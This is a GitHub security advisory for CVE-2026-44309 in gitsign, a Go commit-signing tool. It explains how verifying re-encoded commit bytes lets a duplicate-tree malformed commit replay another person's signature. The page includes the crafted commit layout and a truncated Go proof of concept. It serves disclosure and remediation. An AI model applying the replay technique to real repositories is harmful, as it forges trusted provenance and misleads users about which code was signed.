GitHub Advisoryadvisory · Go
GHSA-7rmh-48mx-2vwc gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits
MEDIUM
Official page ↗
- Aliases
- CVE-2026-44309
- Ecosystem
- Go
- Packages
- github.com/sigstore/gitsign
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-295, CWE-347
- Reviewed
- 2026-05-08
Affected packages
• Go github.com/sigstore/gitsign: < 0.16.0 → fixed in 0.16.0
Description
Summary
`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.
Severity
Medium (CVSS 3.1: 5.7)
`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`
• Attack Vector: Network — a malformed commit can be distributed via any accessible git remote
• Attack Complexity: High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
• Privileges Required: None — the most impactful form (signature replay) requires no signing key
• User Interaction: Required — a victim must run `gitsign verify` on the malformed commit
• Scope: Unchanged — impact is confined to the repository under verification
• Confidentiality Impact: None
• Integrity Impact: High — a verified signature appears to endorse content different from what git-core resolves and presents to users
• Availability Impact: None
Affected Component
• `internal/commands/verify/verify.go` — `(o *options).Run` (line 75)
• `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77)
• `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176)
CWE
• CWE-347: Improper Verification of Cryptographic Signature
• CWE-295: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)
Description
Root cause: re-encoding instead of raw-byte verification
When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:
```go
// internal/commands/verify/verify.go:63–92
c, err := repo.CommitObject(*h) // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form
return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)
summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes
```
The same pattern appears in `verify-tag`:
```go
// internal/commands/verify-tag/verify_tag.go:76–95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
return err
}
```
The loose-parsing assumption in go-git
The codebase itself acknowledges the problem in `ObjectHash`:
```go
// pkg/git/verify.go:137–142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
encoder, err = commit(obj, sig)
```
go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.
Divergent verification paths confirm the inconsistency
The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does not re-encode them:
```go
// internal/commands/root/verify.go:56–70
detached := len(args) >= 2
if detached {
data, sig, err = readDetached(s, args...) // raw bytes from git-core
} else {
sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding
```
The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).
Concrete attack: signature replay without a signing key
An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:
```
tree T1 ← Alice's real tree (what go-git and gitsign see)
author Alice ...
committer Alice ...
gpgsig -----BEGIN SIGNED MESSAGE-----
-----END SIGNED MESSAGE-----
This is Alice's commit.
```
An attacker crafts a new malformed commit object:
```
tree T2 ← attacker's malicious tree (git-core uses this)
tree T1 ← Alice's tree (go-git uses this)
author Alice ...
committer Alice ...
gpgsig -----BEGIN SIGNED MESSAGE-----
-----END SIGNED MESSAGE-----
This is Alice's commit.
```
• `gitsign verify`: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from [email protected]."
• `git log` / `git-core`: uses T2 (attacker-controlled content).
• Rekor lookup: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.
The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.
Proof of Concept
```go
// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go
package main
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"fmt"
"io"
"math/big"
"strings"
"time"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
"github.com/sigstore/gitsign/internal/signature"
ggit "github.com/sigstore/gitsign/pkg/git"
)
type identity struct {
cert *x509.Certificate
priv crypto.Signer
}
func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }
func (i *identity) Delete() error { return nil }
func (i *identity) Close() {}
func indentSig(sig string) string {
sig = strings.TrimSuffix(sig, "\n")
lines := strings.Split(sig, "\n")
out := "gpgsig " + lines[0] + "\n"
for _, ln := range lines[1:] {
out += " " + ln + "\n"
}
return out
}
func main() {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "attacker"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
cert, _ := x509.ParseCertificate(rawCert)
treeFirst := strings.Repeat("a", 40) // git-core uses this
treeSecond := strings.Repeat("b", 40) // go-git uses this
author := "author Eve <[email protected]…
Related
Alias · CVE (1)
- CVE-2026-44309 Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. vulnerability